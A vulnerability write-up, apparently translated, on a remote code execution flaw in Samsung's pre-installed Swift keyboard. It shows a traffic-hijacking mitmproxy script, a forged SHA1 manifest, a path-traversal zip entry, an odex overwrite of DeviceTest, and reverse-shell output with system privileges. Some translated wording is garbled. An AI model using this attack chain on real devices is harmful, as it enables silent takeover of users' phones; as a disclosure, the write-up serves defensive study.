Samsung mobile phone Remote Code Execution Vulnerability Analysis
Summary
Remote attackers can control network traffic, manipulate the keyboard update mechanism of Samsung mobile phones, and execute code using system user permissions on the target mobile phone.
The keyboard that is pre-installed on a Samsung device cannot be disabled or uninstalled. Even if this keyboard is not used by the user by default, attackers can exploit it!
Concept verification: https://github.com/nowsecure/samsung-ime-rce-poc/
Working Principle
Unfortunately, OEMs and carriers often pre-install some third-party software on their devices, which in many cases have very high permissions. Samsung's Swift keyboard (quick keyboard)
➜ /tmp aapt d badging SamsungIME.apk | head -3 package: name='com.sec.android.inputmethod' versionCode='4' versionName='4.0' sdkVersion:'18' targetSdkVersion:'19' ➜ /tmp shasum SamsungIME.apk 72f05eff8aecb62eee0ec17aa4433b3829fd8d22 SamsungIME.apk➜ /tmp aapt d xmltree SamsungIME.apk AndroidManifest.xml | grep shared A: android:sharedUserId(0x0101000b)="android.uid.system" (Raw: "android.uid.system")
We can see that the keyboard input software uses Samsung's private signature and has special permissions on the device. System permission, Nima!
Preparations
Attackers need to be able to modify upstream traffic to attack the vulnerability. The vulnerability can be automatically triggered after being restarted.
The test machine is a Linux VM with a USB Wi-Fi tool and all http traffic is redirected to the https://mitmproxy.org/
Vulnerability discovery
Swift has an update mechanism to add new languages or upgrade existing languages. When you download an Additional Language Pack, we can see the network request:
GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/az_AZ.zip ← 200 application/zip 995.63kB 601ms
After the Zip file is downloaded, It is extracted:
/data/data/com.sec.android.inputmethod/app_SwiftKey//.root@kltevzw:/data/data/com.sec.android.inputmethod/app_SwiftKey/az_AZ # ls -l -rw------- system system 606366 2015-06-11 15:16 az_AZ_bg_c.lm1 -rw------- system system 1524814 2015-06-11 15:16 az_AZ_bg_c.lm3 -rw------- system system 413 2015-06-11 15:16 charactermap.json -rw------- system system 36 2015-06-11 15:16 extraData.json -rw------- system system 55 2015-06-11 15:16 punctuation.json
You can see that the. ZIP file is written to the system permission, which can be used to operate the system file. Since the application sends a zip file in plaintext mode, we try to make some modifications.
We can set a global Wi-Fi proxy and point the device to mitmproxy on the computer. Then write a quick script:
def request(context, flow): if not flow.request.host == "kslm.swiftkey.net" or not flow.request.endswith(".zip"): return resp = HTTPResponse( [1, 1], 200, "OK", ODictCaseless([["Content-Type", "application/zip"]]), "helloworld") with open('test_language.zip', 'r') as f: payload = f.read() resp.content = payload resp.headers["Content-Length"] = [len(payload)] flow.reply(resp)
Payload is very simple and contains a file.
➜ /tmp unzip -l test_keyboard.zip Archive: test_keyboard.zip Length Date Time Name -------- ---- ---- ---- 6 06-11-15 15:33 test -------- ------- 6 1 file
After detecting/data/com. sec. android. inputmethod/app_SwiftKey/, we noticed that neither our Language Pack nor the test file exists. The application verifies the zip file. After further exploration, a manifest is found in the downloaded zip file. This manifest includes all the language packs, the url of the Language Pack, and the SHA1 hash of the zip package.
Requests in mitmproxy:
>> GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json ← 200 application/json 15.38kB 310ms
Through jq, we carefully observe the manifest file:
➜ curl -s 'http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json' | jq '.[] | select(.name == "English (US)")'
The server returns a language table, the URL of the language table, and their SHA1 hash. Server Response example (select English payload only ):
{ "name": "English (US)", "language": "en", "country": "US", "sha1": "3b98ee695b3482bd8128e3bc505b427155aba032", "version": 13, "archive": "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/en_US.zip", "live": { "sha1": "b846a2433cf5fbfb4f6f9ba6c27b6462bb1a923c", "version": 1181, "archive": "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/ll_en_US.zip" } }
SHA1, the language upgrade package we are downloading, is verified by the information in manifest. If we calculate the SHA1 of payload in advance and create our own manifest file, we can change these zip files at will. In addition, for our payload, add a path traversal first and try to write the file to/data /.
➜ samsung_keyboard_hax unzip -l evil.zip Archive: evil.zip Length Date Time Name --------- ---------- ----- ---- 5 2014-08-22 18:52 ../../../../../../../../data/payload --------- ------- 5 1 file
After modifying the manifest file properly, we checked our payload file. Thank God you are still there.
➜ samsung_keyboard_hax adbx shell su -c "ls -l /data/payload" -rw------- system system 5 2014-08-22 16:07 payload
File write executable code
Now, we can grant system permissions to any file. Our goal is to write it into the code for execution. Swift keyboard itself does not have executable code in its directory to cover. Don't bother. Let's look elsewhere.
After dex optimization is performed on the file, it will be cached in/data/dalvik-cache /. Now we need to find the system group files so that they can be executed with the system user permission.
root@kltevzw:/data/dalvik-cache # /data/local/tmp/busybox find . -type f -group 1000 ./system@framework@colorextractionlib.jar@classes.dex ./system@framework@com.google.android.media.effects.jar@classes.dex ./system@framework@com.google.android.maps.jar@classes.dex ./system@framework@VZWAPNLib.apk@classes.dex ./system@framework@cneapiclient.jar@classes.dex ./system@framework@com.samsung.device.jar@classes.dex ./system@framework@com.quicinc.cne.jar@classes.dex ./system@framework@qmapbridge.jar@classes.dex ./system@framework@rcsimssettings.jar@classes.dex ./system@framework@rcsservice.jar@classes.dex ./system@priv-app@DeviceTest.apk@classes.dex
In the list, select a target component for automatic calling. Ideally, the entire odex file will only replace the target we are interested in. It is best to select DeviceTest (/data/dalvik-cache/system@priv-app@DeviceTest.apk @ classes. dex) as the target.
View the manifest file after decompiling. We can see that the application does have sharedUserId = "android. id. system" and BroadcastReceiver definitions. You can start it to automatically restart the device.
android:sharedUserId="android.uid.system" android:versionCode="1" android:versionName="1.0" package="com.sec.factory" xmlns:android="http://schemas.android.com/apk/res/android"> ... android:name="com.sec.factory.entry.FactoryTestBroadcastReceiver"> android:name="android.intent.action.MEDIA_SCANNER_FINISHED" /> android:scheme="file" /> android:name="android.intent.action.PACKAGE_CHANGED" /> android:scheme="package" /> android:name="android.intent.action.PRE_BOOT_COMPLETED" /> android:name="android.intent.action.BOOT_COMPLETED" /> android:name="com.sec.atd.request_reconnect" /> android:name="android.intent.action.CSC_MODEM_SETTING" />
We need to generate an odex file for com. sec. factory. entry. FactoryTestBroadcastReceiver:
➜cat FactoryTestBroadcastReceiver.java | head package com.sec.factory.entry; import java.lang.Class; import java.io.File; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; public class FactoryTestBroadcastReceiver extends BroadcastReceiver { //Exploit code here }
After creating the payload, we can use the DalvikExchange (dx) tool to compile and run it to obtain a. jar file containing the dalvik byte code. Now we have made some optimizations and pushed the jar to the device to generate odex.
ANDROID_DATA=/data/local/tmp dalvikvm -cp /data/local/tmp/ com.sec.factory.entry.FactoryTestBroadcastReceiver
Directory where the cached file is located, which is readable by shell users
shell@kltevzw:/data/local/tmp/dalvik-cache $ ls -l -rw-r--r-- shell shell 3024 2014-07-18 14:09data@local@tmp@payload.jar@classes.dex
After the payload is injected into our Language Pack, the download is triggered and restarted.
D/dalvikvm( 6276): DexOpt: --- BEGIN 'payload.jar' (bootstrap=0) --- D/dalvikvm( 6277): DexOpt: load 10ms, verify+opt 6ms, 112652 bytes D/dalvikvm( 6276): DexOpt: --- END 'payload.jar' (success) --- I/dalvikvm( 6366): DexOpt: source file mod time mismatch (3edeaec0 vs 3ed6b326)
As part of the. ODEX header, it stores the modification time of CRC32 and classes. dex. It is based on the zip file structure table of the original APK:
unzip -vl SM-G900V_KOT49H_DeviceTest.apk classes.dex Archive: SM-G900V_KOT49H_DeviceTest.apk Length Method Size Ratio Date Time CRC-32 Name -------- ------ ------- ----- ---- ---- ------ ---- 643852 Defl:N 248479 61% 06-22-11 22:25 f56f855f classes.dex -------- ------- --- ------- 643852 248479 61% 1 file
To pull these two pieces of information from the ZIP file, we must pass the odexpayloadand make it look like it was generated from the original devicetest.apk. Note that CRC32 and file modification time cannot be used as a security mechanism. We need to understand that the cache needs to be updated because the application needs to be updated.
Fix our. ODEX file and trigger the vulnerability. Our payload will be executed. For testing purposes, this is just a reverse Shell
nc 192.168.181.96 8889 id uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1007(log),1010(wifi),1015(sdcard_rw),1021(gps),1023(media_rw),1024(mtp),1028(sdcard_r),2001(cache),3001(net_bt_admin),3002(net_bt),3003(inet),3004(net_raw),3005(net_admin),3009(qcom_diag),41000(u0_a31000) context=u:r:system_app:s0